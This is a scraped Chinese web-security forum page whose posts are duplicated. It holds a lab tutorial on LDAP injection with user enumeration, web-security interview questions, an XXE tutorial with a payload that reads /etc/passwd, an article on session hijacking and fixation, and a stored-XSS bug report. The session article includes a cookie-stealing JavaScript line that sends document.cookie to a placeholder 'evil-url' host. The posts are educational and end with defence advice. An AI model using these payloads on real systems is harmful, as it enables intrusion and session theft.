看一下我们提交的数据,使用burpsuit 进行查看,来看一下request的包,请求两个变量为name=hacker, passowrd = hacker 
 
请求报文:
GET /ldap/example2.php?name=hacker&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,[i]/[/i];q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1

响应报文:

QQ截图20180823094728.png

 我们来分析一下ldap 后面执行的查询语句,大概如下:
(&(name=hacker)(passwd=hacker)) ,其中& 为and 操作,我们可以控制的变量范围为(&(name=hacker)(passwd=hacker))  黑色加粗的“hacker”


4.2 构造测试语句

构造攻击语句(特别提醒:其中% 00 在% 和00 之间没有空格,本编辑器如果没有空格,就显示不出来,特此强调)
(&(name=hacker)% 00(passwd=hacker))  只用截断后面的部分,然后(passwd=hacker)) 就不会再执行了, 前面选择器(&(name=hacker))永远为真,使用burpsuit 操作截图如下:

QQ截图20180816112138.png


GET /ldap/example2.php?name=h*))% 00(&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1

4.3 遍历全部用户

攻击payload , (&(name=h)) % 00(passwd=hacker))  代表多个,因此我们可以a -z 进行匹配,burpsuit进行爆破遍历。具体截图如下:

step1: 发送到 intruder

QQ图片20180816112846.png


step2:增加变量,具体见截图

增加变量.png


step3,增加变量字典

QQ截图20180816113238.png


step4 开始遍历

一共跑出来两个用户,admin 和 hacker 具体截图如下:

QQ截图20180816113413.png



五 、修复建议
    []客户端发送给服务器的参数中包含了特殊字符,服务器代码端需要对变量进行检查和净化处理。[/][]圆括号、星号、逻辑操作符、关系运操作符在应用层都必须过滤。[/][]无论什么时候,只要可能,构造LDAP搜索过滤器的值在发送给LDAP服务器查询之前都要用应用层有效地值列表来核。[/]

大学生毕业季和实习季,Web安全安全常见面试题

ttgo2 发表了文章 • 4 个评论 • 504 次浏览 • 2018-08-16 17:03 • 来自相关话题

大学生毕业季和实习季,Web安全安全常见面试题 (原创文章,转载请标明出处,谢谢)

Web安全涉及知识点太广了,总体上比较吃经验,用人单位看重有挖掘经验的,但是对基础知识的掌握也是很看重的,针对web安全行业,小编针对技术面试官简单总结了一下,希望能对大家有用。

一、最常见的经验问题:

1、 准备好自己的简历,面试官绝大部分题目都是来自你的简历内容,应该对自己的简历好好准备,简历要突出代码能力和挖掘经验,这点是最吸引面试官的简历
2、 有自己的博客吗? 这里考察学习的内容,知识积累、学习方向和知识深度。因此建议大家有写博客的习惯。
3、 是否参加过众测项目?在其他知名平台是否发布过自己的文章?

二、技术点问题:

2.1 协议安全

1、DDOS的攻击原理、类型和防御
2、什么是DNS有什么样的安全问题?

2.2 数据库安全,中间件, 操作系统

1、msyql的安全问题有哪些?
2、中间件的解析漏洞?
3、操作系统的日志安全管理?

2.3 核心web安全漏洞,

web漏洞种类比较多,这里不列举,举例如下:
企业web安全渗透测试流程谈一下sql 注入漏洞文件上传突破的方法xxs、csrf等漏洞说一下你挖掘过的逻辑漏洞?

2.4 最近一年多发生的0day,或者安全事件

2.5 框架性的漏洞?

举例 stust
Struts2 ,心脏出血,等等


三、现场笔试题

笔试题一般在半个小时做完,除了考察你的基础知识,还是考你的态度,所有一定要认真做题,不要胡乱勾画。


四、其他

找工作除了自己实力,自己的性格积极开朗也很重要,不会别乱喷,谁都有自己的知识盲点,面试官可以理解。


最后:希望这些多少能对大家有点作用, 祝大家都能在就业过程中一帆风顺。 查看全部
大学生毕业季和实习季,Web安全安全常见面试题 (原创文章,转载请标明出处,谢谢)

Web安全涉及知识点太广了,总体上比较吃经验,用人单位看重有挖掘经验的,但是对基础知识的掌握也是很看重的,针对web安全行业,小编针对技术面试官简单总结了一下,希望能对大家有用。

一、最常见的经验问题

1、 准备好自己的简历,面试官绝大部分题目都是来自你的简历内容,应该对自己的简历好好准备,简历要突出代码能力和挖掘经验,这点是最吸引面试官的简历
2、 有自己的博客吗? 这里考察学习的内容,知识积累、学习方向和知识深度。因此建议大家有写博客的习惯。
3、 是否参加过众测项目?在其他知名平台是否发布过自己的文章?

二、技术点问题:

2.1 协议安全

1、DDOS的攻击原理、类型和防御
2、什么是DNS有什么样的安全问题?

2.2 数据库安全,中间件, 操作系统

1、msyql的安全问题有哪些?
2、中间件的解析漏洞?
3、操作系统的日志安全管理?

2.3 核心web安全漏洞

web漏洞种类比较多,这里不列举,举例如下:
  1. 企业web安全渗透测试流程
  2. 谈一下sql 注入漏洞
  3. 文件上传突破的方法
  4. xxs、csrf等漏洞
  5. 说一下你挖掘过的逻辑漏洞?


2.4 最近一年多发生的0day,或者安全事件

2.5 框架性的漏洞?


举例 stust
Struts2 ,心脏出血,等等


三、现场笔试题

笔试题一般在半个小时做完,除了考察你的基础知识,还是考你的态度,所有一定要认真做题,不要胡乱勾画。


四、其他

找工作除了自己实力,自己的性格积极开朗也很重要,不会别乱喷,谁都有自己的知识盲点,面试官可以理解。


最后:希望这些多少能对大家有点作用, 祝大家都能在就业过程中一帆风顺。

Ldap Injection 入门学习

回复

ttgo2 发起了问题 • 2 人关注 • 0 个回复 • 666 次浏览 • 2018-08-16 11:40 • 来自相关话题

XXE漏洞初识

ttgo2 发表了文章 • 3 个评论 • 669 次浏览 • 2018-08-09 15:30 • 来自相关话题

一、 什么是XXE漏洞?

  XXE (XML External Entity injection)XML 外部实体注入漏洞,如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞,这个漏洞需要大家还有一定的XML协议基础,因此为了更好的去理解漏洞本身原理,必须给大家普及一下XML相关的知识点。
 
二、 XML的基础知识点

需要大家安安静静好好看一下XML基础,这里给大家 提供一个学习参考地址:(https://www.w3cschool.cn/xml/xml-intro.html),   为了让大家快速理解上手,我梳理了一下,提取了关键思路点如下:

 2.1、什么是XML?
 
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很想HTML语言。但是XML和HTML有明显区别如下:
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
 
 2.2、XML结构?
 
来看一个简单的XML 文件结构, 第一行XML的声明,第二<note> 为根元素, 下面的to, from,heading和body 都是子元素,构成了一个出色的自我描述性的结构
 
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
2.3 XML DTD (重点)
 
DTD全称为,Document Type Definition,中文翻译为文档类型定义,是一套为了进行程序间的数据交换而建立的关于标记符的语法规则。
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 有两种声明的方法,一种是内部声明,一种是外部声明,我们下面开具体看一下:
 
DTD 的内部声明:

外部需要一个DTD的文件,比如:note.dtc
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
DTD的外部声明:
 
<?xml version="1.0" encoding="UTF-8"?>
 
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "filename">
]>
 <note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
三、XXE漏洞的成因和危害?
 
3.1 漏洞成因
 
XML数据在传输中数据被修改,服务器执行被恶意插入的代码,最终实现攻击的目的,XXE漏洞就是在XML在外部声明的时候出现了问题。看一下修改后的代码:
 
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///etc/passwd&amp;quot; # 直接读取系统的文件
]>
<note>
<name>&content;</name>
</note>

3.2 漏洞危害
[]读取系统文件[/][]执行系统命令[/][]探测内网端口[/][]攻击内部网络[/] 四、 XXE漏洞利用过程 4.1 环境介绍[]OS: Centos 6.5 Linux[/][]中间件:apache[/][]xml的靶场测试环境:https://github.com/vulnspy/phpaudit-XXE[/][]PHP:PHP Version 5.3.3 ,php要求的libxml2.8以下,截图如下:[/] 


 4.2 读取系统文件 step1:为浏览器配置好burpsuit的代理(具体配置不在讲述)step2:打开靶场测试的index.php


step3: 选择“SimpleXMLElement.php”测试,点击"submit"


 step4: 通过burpsuit 截获数据,数据已经URL编码,解码一下,解码网址:zone.secevery.com/code 





 step5:把数据放到repeater 模块step6:提交数据到服务器,读取了/etc/passwd 文件内容


 五、 加固建议[]禁止使用DTD的外部声明[/][]对用户提交过来的XML数据进行过滤[/]
 
备: 本人也在学习中,如果有不准确的地方,希望大牛能多多指正,也希望大家分享的XXE漏洞更多的攻击手法。 查看全部
一、 什么是XXE漏洞?

  XXE (XML External Entity injection)XML 外部实体注入漏洞,如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞,这个漏洞需要大家还有一定的XML协议基础,因此为了更好的去理解漏洞本身原理,必须给大家普及一下XML相关的知识点。
 
二、 XML的基础知识点

需要大家安安静静好好看一下XML基础,这里给大家 提供一个学习参考地址:(https://www.w3cschool.cn/xml/xml-intro.html),   为了让大家快速理解上手,我梳理了一下,提取了关键思路点如下:

 2.1、什么是XML?
 
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很想HTML语言。但是XML和HTML有明显区别如下:
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
 
 2.2、XML结构?
 
来看一个简单的XML 文件结构, 第一行XML的声明,第二<note> 为根元素, 下面的to, from,heading和body 都是子元素,构成了一个出色的自我描述性的结构
 
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
2.3 XML DTD (重点)
 
DTD全称为,Document Type Definition,中文翻译为文档类型定义,是一套为了进行程序间的数据交换而建立的关于标记符的语法规则。
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 有两种声明的方法,一种是内部声明,一种是外部声明,我们下面开具体看一下:
 
DTD 的内部声明:

外部需要一个DTD的文件,比如:note.dtc
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>


<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
DTD的外部声明:
 
<?xml version="1.0" encoding="UTF-8"?>
 
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "filename">
]>
 <note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
三、XXE漏洞的成因和危害?
 
3.1 漏洞成因
 
XML数据在传输中数据被修改,服务器执行被恶意插入的代码,最终实现攻击的目的,XXE漏洞就是在XML在外部声明的时候出现了问题。看一下修改后的代码:
 
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///etc/passwd&amp;quot; # 直接读取系统的文件
]>
<note>
<name>&content;</name>
</note>

3.2 漏洞危害
    []读取系统文件[/][]执行系统命令[/][]探测内网端口[/][]攻击内部网络[/]
 四、 XXE漏洞利用过程 4.1 环境介绍
    []OS: Centos 6.5 Linux[/][]中间件:apache[/][]xml的靶场测试环境:https://github.com/vulnspy/phpaudit-XXE[/][]PHP:PHP Version 5.3.3 ,php要求的libxml2.8以下,截图如下:[/]
 
libxml.png
 4.2 读取系统文件 step1:为浏览器配置好burpsuit的代理(具体配置不在讲述)step2:打开靶场测试的index.php
QQ截图20180809151254.png
step3: 选择“SimpleXMLElement.php”测试,点击"submit"
QQ截图20180809151535.png
 step4: 通过burpsuit 截获数据,数据已经URL编码,解码一下,解码网址:zone.secevery.com/code 
QQ截图20180809151914.png
QQ截图20180809152144.png
 step5:把数据放到repeater 模块step6:提交数据到服务器,读取了/etc/passwd 文件内容
QQ截图20180809152412.png
 五、 加固建议
    []禁止使用DTD的外部声明[/][]对用户提交过来的XML数据进行过滤[/]

 
备: 本人也在学习中,如果有不准确的地方,希望大牛能多多指正,也希望大家分享的XXE漏洞更多的攻击手法。

Session攻击手段(会话劫持/固定)及其安全防御措施

kakaxi 发表了文章 • 0 个评论 • 273 次浏览 • 2018-08-07 18:49 • 来自相关话题

一、概述
       对于Web应用程序来说,加强安全性的第一条原则就是——不要信任来自客户端的数据,一定要进行数据验证以及过滤才能在程序中使用,进而保存到数据层。然而,由于Http的无状态性,为了维持来自同一个用户的不同请求之间的状态,客户端必须发送一个唯一的身份标识符(Session ID)来表明自己的身份。很显然,这与前面提到的安全原则是相违背的,但是没有办法,为了维持状态,我们别无选择,这也导致了Session在web应用程序中是十分脆弱的一个环节。
       由于PHP内置的Session管理机制并没有提供安全处理,所以,开发人员需要建立相应的安全机制来防范会话攻击。针对Session的攻击手段主要有会话劫持(Session hijacking)和会话固定(Session fixation)两种。
 
二、会话劫持(Session hijacking)
       会话劫持(Session hijacking),这是一种通过获取用户Session ID后,使用该Session ID登录目标账号的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。会话劫持的第一步是取得一个合法的会话标识来伪装成合法用户,因此需要保证会话标识不被泄漏。
       攻击步骤:
       1、 目标用户需要先登录站点;
       2、 登录成功后,该用户会得到站点提供的一个会话标识SessionID;
       3、 攻击者通过某种攻击手段捕获Session ID;
       4、 攻击者通过捕获到的Session ID访问站点即可获得目标用户合法会话。
 





 
       攻击者获取SessionID的方式有多种:
       1、 暴力破解:尝试各种Session ID,直到破解为止;
       2、 预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;
       3、 窃取:使用网络嗅探,XSS攻击等方法获得。
       PHP内部Session的实现机制虽然不是很安全,但是关于生成Session ID的环节还是比较安全的,这个随机的Session ID往往是极其复杂的并且难于被预测出来,所以,对于第一、第二种攻击方式基本上是不太可能成功的。
       在第三种攻击方式中,针对网络嗅探攻击,是通过捕获网络通信数据得到Session ID的,这种攻击可以通过SSL避免。本文主要分析的是应用层面的攻击方式及其防御方法。
       目前有三种广泛使用的在Web环境中维护会话(传递Session ID)的方法:URL参数,隐藏域和Cookie。其中每一种都各有利弊,Cookie已经被证明是三种方法中最方便最安全的。从安全的观点,如果不是全部也是绝大多数针对基于Cookie的会话管理机制的攻击对于URL或是隐藏域机制同样适用,但是反过来却不一定,这就让Cookie成为从安全考虑的最佳选择。
       使用Cookie而产生的一个风险是用户的Cookie会被攻击者所盗窃。如果Session ID保存在Cookie中,Cookie的暴露就是一个严重的风险,因为它能导致会话劫持。
       最基本的Cookie窃取方式:XSS漏洞。
       一旦站点中存在可利用的XSS漏洞,攻击者可直接利用注入的JS脚本获取Cookie,进而通过异步请求把存有Session ID的Cookie上报给攻击者。
       var img = document.createElement('img');
       img.src = 'http://evil-url?c=' +encodeURIComponent(document.cookie);
       document.getElementsByTagName('body')[0].appendChild(img);
       如何寻找XSS漏洞是另外一个话题了,这里不详细讨论。防御上可以设置Cookie的HttpOnly属性,一旦一个Cookie被设置为HttpOnly,JS脚本就无法再获取到,而网络传输时依然会带上,也就是说依然可以依靠这个Cookie进行Session维持,但客户端JS对其不可见。那么即使存在XSS漏洞也无法简单的利用其进行Session劫持攻击了。但是上面说的是无法利用XSS进行简单的攻击,但是也不是没有办法的。既然无法使用document.cookie获取到,可以转而通过其他的方式。下面介绍一种XSS结合其他漏洞的攻击方式。
       利用PHP开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息,其中就包括Cookie信息。
       如果开发者没有关闭这个页面,就可以利用XSS漏洞向这个页面发起异步请求,获取到页面内容后Parse出Cookie信息,然后上传给攻击者。phpinfo只是大家最常见的一种dump请求的页面,但不仅限于此,为了调试方便,任何dump请求的页面都是可以被利用的漏洞。防御上是关闭所有phpinfo类dump request信息的页面。
 
       防御方法:
       1、 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。
       2、 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。
       3、 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
       4、 关闭所有phpinfo类dump request信息的页面。
       5、 使用User-Agent检测请求的一致性。但有专家警告不要依赖于检查User-Agent的一致性。这是因为服务器群集中的HTTP代理服务器会对User-Agent进行编辑,而本群集中的多个代理服务器在编辑该值时可能会不一致。





        6、 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦,使攻击者即使获取了Session ID,也无法进行破坏,能够减少对系统造成的损失。但Token需要存放在客户端,如果攻击者有办法获取到Session ID,那么也同样可以获取到Token。





 
 
 
三、会话固定(Sessionfixation)
       会话固定(Session fixation)是一种诱骗受害者使用攻击者指定的会话标识(SessionID)的攻击手段。这是攻击者获取合法会话标识的最简单的方法。会话固定也可以看成是会话劫持的一种类型,原因是会话固定的攻击的主要目的同样是获得目标用户的合法会话,不过会话固定还可以是强迫受害者使用攻击者设定的一个有效会话,以此来获得用户的敏感信息。
       攻击步骤:
       1、 攻击者通过某种手段重置目标用户的SessionID,然后监听用户会话状态;
       2、 目标用户携带攻击者设定的Session ID登录站点;
       3、 攻击者通过Session ID获得合法会话。





 
 
      攻击者重置SessionID的方式:
      重置Session ID的方法同样也有多种,可以是跨站脚本攻击,如果是URL传递Session ID,还可以通过诱导的方式重置该参数,比如可以通过邮件的方式诱导用户去点击重置Session ID的URL,使用Cookie传递可以避免这种攻击。
       使用Cookie来存放Session ID,攻击者可以在以下三种可用的方法中选择一种来重置Session ID。
       1、 使用客户端脚本来设置Cookie到浏览器。大多数浏览器都支持用客户端脚本来设置Cookie的,例如document.cookie=”sessionid=123”,这种方式可以采用跨站脚本攻击来达到目的。防御方式可以是设置HttpOnly属性,但有少数低版本浏览器存在漏洞,即使设置了HttpOnly,也可以重写Cookie。所以还需要加其他方式的校验,如User-Agent验证,Token校验等同样有效。
       2、 使用HTML的<META>标签加Set-Cookie属性。服务器可以靠在返回的HTML文档中增加<META>标签来设置Cookie。例如<meta http-equiv=Set-Cookiecontent=”sessionid=123”>,与客户端脚本相比,对<META>标签的处理目前还不能被浏览器禁止。
       3、 使用Set-Cookie的HTTP响应头部设置Cookie。攻击者可以使用一些方法在Web服务器的响应中加入Set-Cookie的HTTP响应头部。如会话收养,闯入目标服务器所在域的任一主机,或者是攻击用户的DNS服务器。
       这里还有一点需要注意,攻击者如果持有的是有效的SessionID,那么防御措施就一定得校验验证。如攻击者可以先到目标站点登录,获得有效的Session ID,然后再拿这个Session ID去重置目标用户的会话标识,那么这时候用户将会在不知情的情况下访问攻击者设定的合法会话(实际上登录的是攻击者的账号了)中,从而攻击者将有可能获取到目标用户的敏感信息。
       防御方法:
       1、 用户登录时生成新的Session ID。如果攻击者使用的会话标识符不是有效的,那么这种方式将会非常有效。如果不是有效的会话标识符,服务器将会要求用户重新登录。如果攻击者使用的是有效的Session ID,那么还可以通过校验的方式来避免攻击。
       2、 大部分防止会话劫持的方法对会话固定攻击同样有效。如设置HttpOnly,关闭透明化Session ID,User-Agent验证,Token校验等。
 
四、附加
       http://www.php.net/manual/zh/session.security.php
       PHP官方提供的关于会话安全的文档,主要介绍了session安全设置项的作用,并建议开发人员应该合理启用可接受的安全设置项来保证会话安全。
       http://www.nowamagic.net/librarys/veda/detail/2078
       http://www.nowamagic.net/librarys/veda/detail/2079       关于会话数据安全的两篇博文。
 
文章转载来源:https://blog.csdn.net/h_MXC/article/details/50542038 查看全部
一、概述
       对于Web应用程序来说,加强安全性的第一条原则就是——不要信任来自客户端的数据,一定要进行数据验证以及过滤才能在程序中使用,进而保存到数据层。然而,由于Http的无状态性,为了维持来自同一个用户的不同请求之间的状态,客户端必须发送一个唯一的身份标识符(Session ID)来表明自己的身份。很显然,这与前面提到的安全原则是相违背的,但是没有办法,为了维持状态,我们别无选择,这也导致了Session在web应用程序中是十分脆弱的一个环节。
       由于PHP内置的Session管理机制并没有提供安全处理,所以,开发人员需要建立相应的安全机制来防范会话攻击。针对Session的攻击手段主要有会话劫持(Session hijacking)和会话固定(Session fixation)两种。
 
二、会话劫持(Session hijacking)
       会话劫持(Session hijacking),这是一种通过获取用户Session ID后,使用该Session ID登录目标账号的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。会话劫持的第一步是取得一个合法的会话标识来伪装成合法用户,因此需要保证会话标识不被泄漏。
       攻击步骤:
       1、 目标用户需要先登录站点;
       2、 登录成功后,该用户会得到站点提供的一个会话标识SessionID;
       3、 攻击者通过某种攻击手段捕获Session ID;
       4、 攻击者通过捕获到的Session ID访问站点即可获得目标用户合法会话。
 

20160119140812530.jpg

 
       攻击者获取SessionID的方式有多种:
       1、 暴力破解:尝试各种Session ID,直到破解为止;
       2、 预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;
       3、 窃取:使用网络嗅探,XSS攻击等方法获得。
       PHP内部Session的实现机制虽然不是很安全,但是关于生成Session ID的环节还是比较安全的,这个随机的Session ID往往是极其复杂的并且难于被预测出来,所以,对于第一、第二种攻击方式基本上是不太可能成功的。
       在第三种攻击方式中,针对网络嗅探攻击,是通过捕获网络通信数据得到Session ID的,这种攻击可以通过SSL避免。本文主要分析的是应用层面的攻击方式及其防御方法。
       目前有三种广泛使用的在Web环境中维护会话(传递Session ID)的方法:URL参数,隐藏域和Cookie。其中每一种都各有利弊,Cookie已经被证明是三种方法中最方便最安全的。从安全的观点,如果不是全部也是绝大多数针对基于Cookie的会话管理机制的攻击对于URL或是隐藏域机制同样适用,但是反过来却不一定,这就让Cookie成为从安全考虑的最佳选择。
       使用Cookie而产生的一个风险是用户的Cookie会被攻击者所盗窃。如果Session ID保存在Cookie中,Cookie的暴露就是一个严重的风险,因为它能导致会话劫持。
       最基本的Cookie窃取方式:XSS漏洞。
       一旦站点中存在可利用的XSS漏洞,攻击者可直接利用注入的JS脚本获取Cookie,进而通过异步请求把存有Session ID的Cookie上报给攻击者。
       var img = document.createElement('img');
       img.src = 'http://evil-url?c=' +encodeURIComponent(document.cookie);
       document.getElementsByTagName('body')[0].appendChild(img);
       如何寻找XSS漏洞是另外一个话题了,这里不详细讨论。防御上可以设置Cookie的HttpOnly属性,一旦一个Cookie被设置为HttpOnly,JS脚本就无法再获取到,而网络传输时依然会带上,也就是说依然可以依靠这个Cookie进行Session维持,但客户端JS对其不可见。那么即使存在XSS漏洞也无法简单的利用其进行Session劫持攻击了。但是上面说的是无法利用XSS进行简单的攻击,但是也不是没有办法的。既然无法使用document.cookie获取到,可以转而通过其他的方式。下面介绍一种XSS结合其他漏洞的攻击方式。
       利用PHP开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息,其中就包括Cookie信息。
       如果开发者没有关闭这个页面,就可以利用XSS漏洞向这个页面发起异步请求,获取到页面内容后Parse出Cookie信息,然后上传给攻击者。phpinfo只是大家最常见的一种dump请求的页面,但不仅限于此,为了调试方便,任何dump请求的页面都是可以被利用的漏洞。防御上是关闭所有phpinfo类dump request信息的页面。
 
       防御方法:
       1、 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。
       2、 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。
       3、 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
       4、 关闭所有phpinfo类dump request信息的页面。
       5、 使用User-Agent检测请求的一致性。但有专家警告不要依赖于检查User-Agent的一致性。这是因为服务器群集中的HTTP代理服务器会对User-Agent进行编辑,而本群集中的多个代理服务器在编辑该值时可能会不一致。

20160119140538416.jpg

        6、 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦,使攻击者即使获取了Session ID,也无法进行破坏,能够减少对系统造成的损失。但Token需要存放在客户端,如果攻击者有办法获取到Session ID,那么也同样可以获取到Token。

20160119140707559.jpg

 
 
 
三、会话固定(Sessionfixation)
       会话固定(Session fixation)是一种诱骗受害者使用攻击者指定的会话标识(SessionID)的攻击手段。这是攻击者获取合法会话标识的最简单的方法。会话固定也可以看成是会话劫持的一种类型,原因是会话固定的攻击的主要目的同样是获得目标用户的合法会话,不过会话固定还可以是强迫受害者使用攻击者设定的一个有效会话,以此来获得用户的敏感信息。
       攻击步骤:
       1、 攻击者通过某种手段重置目标用户的SessionID,然后监听用户会话状态;
       2、 目标用户携带攻击者设定的Session ID登录站点;
       3、 攻击者通过Session ID获得合法会话。

20160119140203442.jpg

 
 
      攻击者重置SessionID的方式:
      重置Session ID的方法同样也有多种,可以是跨站脚本攻击,如果是URL传递Session ID,还可以通过诱导的方式重置该参数,比如可以通过邮件的方式诱导用户去点击重置Session ID的URL,使用Cookie传递可以避免这种攻击。
       使用Cookie来存放Session ID,攻击者可以在以下三种可用的方法中选择一种来重置Session ID。
       1、 使用客户端脚本来设置Cookie到浏览器。大多数浏览器都支持用客户端脚本来设置Cookie的,例如document.cookie=”sessionid=123”,这种方式可以采用跨站脚本攻击来达到目的。防御方式可以是设置HttpOnly属性,但有少数低版本浏览器存在漏洞,即使设置了HttpOnly,也可以重写Cookie。所以还需要加其他方式的校验,如User-Agent验证,Token校验等同样有效。
       2、 使用HTML的<META>标签加Set-Cookie属性。服务器可以靠在返回的HTML文档中增加<META>标签来设置Cookie。例如<meta http-equiv=Set-Cookiecontent=”sessionid=123”>,与客户端脚本相比,对<META>标签的处理目前还不能被浏览器禁止。
       3、 使用Set-Cookie的HTTP响应头部设置Cookie。攻击者可以使用一些方法在Web服务器的响应中加入Set-Cookie的HTTP响应头部。如会话收养,闯入目标服务器所在域的任一主机,或者是攻击用户的DNS服务器。
       这里还有一点需要注意,攻击者如果持有的是有效的SessionID,那么防御措施就一定得校验验证。如攻击者可以先到目标站点登录,获得有效的Session ID,然后再拿这个Session ID去重置目标用户的会话标识,那么这时候用户将会在不知情的情况下访问攻击者设定的合法会话(实际上登录的是攻击者的账号了)中,从而攻击者将有可能获取到目标用户的敏感信息。
       防御方法:
       1、 用户登录时生成新的Session ID。如果攻击者使用的会话标识符不是有效的,那么这种方式将会非常有效。如果不是有效的会话标识符,服务器将会要求用户重新登录。如果攻击者使用的是有效的Session ID,那么还可以通过校验的方式来避免攻击。
       2、 大部分防止会话劫持的方法对会话固定攻击同样有效。如设置HttpOnly,关闭透明化Session ID,User-Agent验证,Token校验等。
 
四、附加
       http://www.php.net/manual/zh/session.security.php
       PHP官方提供的关于会话安全的文档,主要介绍了session安全设置项的作用,并建议开发人员应该合理启用可接受的安全设置项来保证会话安全。
       http://www.nowamagic.net/librarys/veda/detail/2078
       http://www.nowamagic.net/librarys/veda/detail/2079       关于会话数据安全的两篇博文。
 
文章转载来源:https://blog.csdn.net/h_MXC/article/details/50542038

赛克社区存在存储XSS漏洞

admin 发表了文章 • 0 个评论 • 305 次浏览 • 2018-08-02 14:28 • 来自相关话题

 前几天社区的小伙伴 lawliet ,社区分享技术文章的时候,反馈从微信公众号,浏览文章的时候,弹出了cookie(原因是因为文章中在填写脚本的时候存在<script>alert(document.cookie)</script>),证明社区在手机端存在存储型xss,但是pc浏览器端是正常的.
当时心里一颤,感觉这开源程序太不靠谱了(坏笑!。。。,明明是在推锅),好吧,只能自己看一下社区的源码,感觉应该问题好找到,但是社区代码比较复杂,经过一顿翻腾,终于找到了对应的源码所在位置。如下:
 
<?php echo htmlspecialchars_decode($this->article_info['message']); ?>

手机端wifi设置代理 --------》pc burpsuite 8080端口
然后抓取返回的数据包如下:
 





 
如果通过pc上浏览器查看源码如下:





 
 
仔细比对上面两个截图中的差异就会知道pc端是经过了实体编码的,而手机端是没有做实体编码的,于是
 于是将源码yy,p了一下,然后注释掉上面原有php语句,具体如下图





 
于是再去burpsuite上抓取手机端的包已经经过了实体编码如下图:





 
手机端再次浏览lawliet的文章就ok了
 
在此感谢 lawliet,反馈的问题,及乌云很白对于 <pre>的讨论
 

  查看全部

Cache_-4269ec8865ac1b74._.jpg

 前几天社区的小伙伴 lawliet ,社区分享技术文章的时候,反馈从微信公众号,浏览文章的时候,弹出了cookie(原因是因为文章中在填写脚本的时候存在<script>alert(document.cookie)</script>),证明社区在手机端存在存储型xss,但是pc浏览器端是正常的.
当时心里一颤,感觉这开源程序太不靠谱了(坏笑!。。。,明明是在推锅),好吧,只能自己看一下社区的源码,感觉应该问题好找到,但是社区代码比较复杂,经过一顿翻腾,终于找到了对应的源码所在位置。如下:
 
<?php echo htmlspecialchars_decode($this->article_info['message']); ?>

手机端wifi设置代理 --------》pc burpsuite 8080端口
然后抓取返回的数据包如下:
 

6A0EF515881170421FB71AE6FAD803B9.jpg

 
如果通过pc上浏览器查看源码如下:

WX20180802-142411@2x.png

 
 
仔细比对上面两个截图中的差异就会知道pc端是经过了实体编码的,而手机端是没有做实体编码的,于是
